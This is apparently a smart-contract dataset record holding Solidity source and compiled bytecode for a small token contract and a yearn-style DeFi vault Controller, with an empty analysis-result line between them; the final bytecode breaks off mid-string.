balances[owner].add(_value); Bless(msg.sender, _words, _value); return true; } function reclaimEther() onlyOwner public { assert(owner.send(address(this).balance)); } function() payable public { buy(); } }
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100fc578063095ea7b31461018a57806318160ddd146101e45780631de250bf1461020d57806323b872dd1461028b5780632ff2e9dc14610304578063313ce5671461032d578063661884631461035c57806370a08231146103b65780638da5cb5b1461040357806395d89b41146104585780639f727c27146104e6578063a6f2ae3a146104fb578063a9059cbb1461051d578063d73dd62314610577578063dd62ed3e146105d1578063f2fde38b1461063d575b6100f9610676565b50005b341561010757600080fd5b61010f61087f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014f578082015181840152602081019050610134565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019557600080fd5b6101ca600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061091d565b604051808215151515815260200191505060405180910390f35b34156101ef57600080fd5b6101f7610a0f565b6040518082815260200191505060405180910390f35b341561021857600080fd5b610271600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091905050610a19565b604051808215151515815260200191505060405180910390f35b341561029657600080fd5b6102ea600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ca7565b604051808215151515815260200191505060405180910390f35b341561030f57600080fd5b610317611061565b6040518082815260200191505060405180910390f35b341561033857600080fd5b610340611067565b604051808260ff1660ff16815260200191505060405180910390f35b341561036757600080fd5b61039c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061107a565b604051808215151515815260200191505060405180910390f35b34156103c157600080fd5b6103ed600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061130b565b6040518082815260200191505060405180910390f35b341561040e57600080fd5b610416611353565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561046357600080fd5b61046b611379565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ab578082015181840152602081019050610490565b50505050905090810190601f1680156104d85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104f157600080fd5b6104f9611417565b005b610503610676565b604051808215151515815260200191505060405180910390f35b341561052857600080fd5b61055d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114eb565b604051808215151515815260200191505060405180910390f35b341561058257600080fd5b6105b7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061170a565b604051808215151515815260200191505060405180910390f35b34156105dc57600080fd5b610627600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611906565b6040518082815260200191505060405180910390f35b341561064857600080fd5b610674600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061198d565b005b600080652d79883d2000341015151561068e57600080fd5b652d79883d20003481151561069f57fe5b04905061071581600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae590919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107ca816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611afe90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f4f79409f494e81c38036d80aa8a6507c2cb08d90bfb2fead5519447646b3497e3382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600191505090565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109155780601f106108ea57610100808354040283529160200191610915565b820191906000526020600020905b8154815290600101906020018083116108f857829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b600082518210151515610a2b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a7857600080fd5b610ac9826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b7e82600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611afe90919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167fbab5c53ecab99ad9fb9df24044d720a3a8ef74ecc4bd234b0d78a5eebeb20af184846040518080602001838152602001828103825284818151815260200191508051906020019080838360005b83811015610c62578082015181840152602081019050610c47565b50505050905090810190601f168015610c8f5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a26001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ce457600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d3157600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dbc57600080fd5b610e0d826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ea0826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611afe90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7182600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60075481565b600660009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561118b576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061121f565b61119e8382611ae590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561140f5780601f106113e45761010080835404028352916020019161140f565b820191906000526020600020905b8154815290600101906020018083116113f257829003601f168201915b505050505081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147357600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156114e957fe5b565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561152857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561157557600080fd5b6115c6826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611659826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611afe90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061179b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611afe90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a2557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611af357fe5b818303905092915050565b6000808284019050838110151515611b1257fe5b80915050929150505600a165627a7a723058201f45c3186f470fcf59902387f2b9f1ef78e5e027672253af3cf6cff80b763aaa0029
{"success": true, "error": null, "results": {}}
14
0x620bfbb0a05c3771110fbfbff94beb641cdb09f3
/** *Submitted for verification at Etherscan.io on 2020-08-11 */ /** *Submitted for verification at Etherscan.io on 2020-07-26 */ // SPDX-License-Identifier: MIT pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface Strategy { function want() external view returns (address); function deposit() external; function withdraw(address) external; function withdraw(uint) external; function withdrawAll() external returns (uint); function balanceOf() external view returns (uint); } interface Converter { function convert(address) external returns (uint); } interface OneSplitAudit { function swap( address fromToken, address destToken, uint256 amount, uint256 minReturn, uint256[] calldata distribution, uint256 flags ) external payable returns(uint256 returnAmount); function getExpectedReturn( address fromToken, address destToken, uint256 amount, uint256 parts, uint256 flags // See constants in IOneSplit.sol ) external view returns( uint256 returnAmount, uint256[] memory distribution ); } contract Controller { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public governance; address public strategist; address public onesplit; address public rewards; mapping(address => address) public vaults; mapping(address => address) public strategies; mapping(address => mapping(address => address)) public converters; mapping(address => mapping(address => bool)) public approvedStrategies; uint public split = 500; uint public constant max = 10000; constructor(address _rewards) public { governance = msg.sender; strategist = msg.sender; onesplit = address(0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e); rewards = _rewards; } function setRewards(address _rewards) public { require(msg.sender == governance, "!governance"); rewards = _rewards; } function setStrategist(address _strategist) public { require(msg.sender == governance, "!governance"); strategist = _strategist; } function setSplit(uint _split) public { require(msg.sender == governance, "!governance"); split = _split; } function setOneSplit(address _onesplit) public { require(msg.sender == governance, "!governance"); onesplit = _onesplit; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setVault(address _token, address _vault) public { require(msg.sender == strategist || msg.sender == governance, "!strategist"); require(vaults[_token] == address(0), "vault"); vaults[_token] = _vault; } function approveStrategy(address _token, address _strategy) public { require(msg.sender == governance, "!governance"); approvedStrategies[_token][_strategy] = true; } function revokeStrategy(address _token, address _strategy) public { require(msg.sender == governance, "!governance"); approvedStrategies[_token][_strategy] = false; } function setConverter(address _input, address _output, address _converter) public { require(msg.sender == strategist || msg.sender == governance, "!strategist"); converters[_input][_output] = _converter; } function setStrategy(address _token, address _strategy) public { require(msg.sender == strategist || msg.sender == governance, "!strategist"); require(approvedStrategies[_token][_strategy] == true, "!approved"); address _current = strategies[_token]; if (_current != address(0)) { Strategy(_current).withdrawAll(); } strategies[_token] = _strategy; } function earn(address _token, uint _amount) public { address _strategy = strategies[_token]; address _want = Strategy(_strategy).want(); if (_want != _token) { address converter = converters[_token][_want]; IERC20(_token).safeTransfer(converter, _amount); _amount = Converter(converter).convert(_strategy); IERC20(_want).safeTransfer(_strategy, _amount); } else { IERC20(_token).safeTransfer(_strategy, _amount); } Strategy(_strategy).deposit(); } function balanceOf(address _token) external view returns (uint) { return Strategy(strategies[_token]).balanceOf(); } function withdrawAll(address _token) public { require(msg.sender == strategist || msg.sender == governance, "!strategist"); Strategy(strategies[_token]).withdrawAll(); } function inCaseTokensGetStuck(address _token, uint _amount) public { require(msg.sender == strategist || msg.sender == governance, "!governance"); IERC20(_token).safeTransfer(msg.sender, _amount); } function inCaseStrategyTokenGetStuck(address _strategy, address _token) public { require(msg.sender == strategist || msg.sender == governance, "!governance"); Strategy(_strategy).withdraw(_token); } function getExpectedReturn(address _strategy, address _token, uint parts) public view returns (uint expected) { uint _balance = IERC20(_token).balanceOf(_strategy); address _want = Strategy(_strategy).want(); (expected,) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _balance, parts, 0); } // Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield function yearn(address _strategy, address _token, uint parts) public { require(msg.sender == strategist || msg.sender == governance, "!governance"); // This contract should never have value in it, but just incase since this is a public call uint _before = IERC20(_token).balanceOf(address(this)); Strategy(_strategy).withdraw(_token); uint _after = IERC20(_token).balanceOf(address(this)); if (_after > _before) { uint _amount = _after.sub(_before); address _want = Strategy(_strategy).want(); uint[] memory _distribution; uint _expected; _before = IERC20(_want).balanceOf(address(this)); IERC20(_token).safeApprove(onesplit, 0); IERC20(_token).safeApprove(onesplit, _amount); (_expected, _distribution) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _amount, parts, 0); OneSplitAudit(onesplit).swap(_token, _want, _amount, _expected, _distribution, 0); _after = IERC20(_want).balanceOf(address(this)); if (_after > _before) { _amount = _after.sub(_before); uint _reward = _amount.mul(split).div(max); earn(_want, _amount.sub(_reward)); IERC20(_want).safeTransfer(rewards, _reward); } } } function withdraw(address _token, uint _amount) public { require(msg.sender == vaults[_token], "!vault"); Strategy(strategies[_token]).withdraw(_amount); } }
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c8063a1578b6a116100f9578063ccd0631811610097578063f3fef3a311610071578063f3fef3a314610a87578063f712adbb14610ad5578063f765417614610b1f578063fa09e63014610b3d576101c4565b8063ccd063181461091b578063e4f2494d1461099f578063ec38a86214610a43576101c4565b8063b02bf4b9116100d3578063b02bf4b9146107d7578063c494448e14610825578063c6d758cb14610889578063c7b9d530146108d7576101c4565b8063a1578b6a14610693578063a622ee7c1461070f578063ab033ea914610793576101c4565b80636ac5db1911610166578063714ccf7b11610140578063714ccf7b1461053d57806372cb5d97146105a15780638da1df4d146106055780639ec5a89414610649576101c4565b80636ac5db19146104455780636dcd64e51461046357806370a08231146104e5576101c4565b806339ebf823116101a257806339ebf823146102e5578063590bbb60146103695780635aa6e675146103cd578063674e694f14610417576101c4565b806304209f48146101c9578063197baa6d146102375780631fe4a6861461029b575b600080fd5b610235600480360360608110156101df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b81565b005b6102996004803603604081101561024d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611568565b005b6102a361171d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610327600480360360208110156102fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611743565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cb6004803603604081101561037f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611776565b005b6103d56118d1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104436004803603602081101561042d57600080fd5b81019080803590602001909291905050506118f6565b005b61044d6119c2565b6040518082815260200191505060405180910390f35b6104cf6004803603606081101561047957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119c8565b6040518082815260200191505060405180910390f35b610527600480360360208110156104fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ce3565b6040518082815260200191505060405180910390f35b61059f6004803603604081101561055357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dcc565b005b610603600480360360408110156105b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612069565b005b6106476004803603602081101561061b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612426565b005b61065161252c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106f5600480360360408110156106a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612552565b604051808215151515815260200191505060405180910390f35b6107516004803603602081101561072557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612581565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107d5600480360360208110156107a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125b4565b005b610823600480360360408110156107ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506126b9565b005b6108876004803603604081101561083b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a20565b005b6108d56004803603604081101561089f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612b7b565b005b610919600480360360208110156108ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612cc4565b005b61099d6004803603606081101561093157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612dca565b005b610a01600480360360408110156109b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fa4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610a8560048036036020811015610a5957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fe6565b005b610ad360048036036040811015610a9d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506130ec565b005b610add6132ba565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610b276132e0565b6040518082815260200191505060405180910390f35b610b7f60048036036020811015610b5357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506132e6565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c2957506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c9b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610d1a57600080fd5b505afa158015610d2e573d6000803e3d6000fd5b505050506040513d6020811015610d4457600080fd5b810190808051906020019092919050505090508373ffffffffffffffffffffffffffffffffffffffff166351cff8d9846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015610dd657600080fd5b505af1158015610dea573d6000803e3d6000fd5b5050505060008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610e6d57600080fd5b505afa158015610e81573d6000803e3d6000fd5b505050506040513d6020811015610e9757600080fd5b8101908080519060200190929190505050905081811115611561576000610ec783836134e690919063ffffffff16565b905060008673ffffffffffffffffffffffffffffffffffffffff16631f1fcd516040518163ffffffff1660e01b815260040160206040518083038186803b158015610f1157600080fd5b505afa158015610f25573d6000803e3d6000fd5b505050506040513d6020811015610f3b57600080fd5b81019080805190602001909291905050509050606060008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610fcf57600080fd5b505afa158015610fe3573d6000803e3d6000fd5b505050506040513d6020811015610ff957600080fd5b8101908080519060200190929190505050955061105a600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660008a73ffffffffffffffffffffffffffffffffffffffff166135309092919063ffffffff16565b6110a7600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16858a73ffffffffffffffffffffffffffffffffffffffff166135309092919063ffffffff16565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663085e2c5b8985878b60006040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019550505050505060006040518083038186803b15801561119357600080fd5b505afa1580156111a7573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060408110156111d157600080fd5b8101908080519060200190929190805160405193929190846401000000008211156111fb57600080fd5b8382019150602082018581111561121157600080fd5b825186602082028301116401000000008211171561122e57600080fd5b8083526020830192505050908051906020019060200280838360005b8381101561126557808201518184015260208101905061124a565b505050509050016040525050508093508192505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2a7515e898587858760006040518763ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200185815260200184815260200180602001838152602001828103825284818151815260200191508051906020019060200280838360005b8381101561138757808201518184015260208101905061136c565b50505050905001975050505050505050602060405180830381600087803b1580156113b157600080fd5b505af11580156113c5573d6000803e3d6000fd5b505050506040513d60208110156113db57600080fd5b8101908080519060200190929190505050508273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffff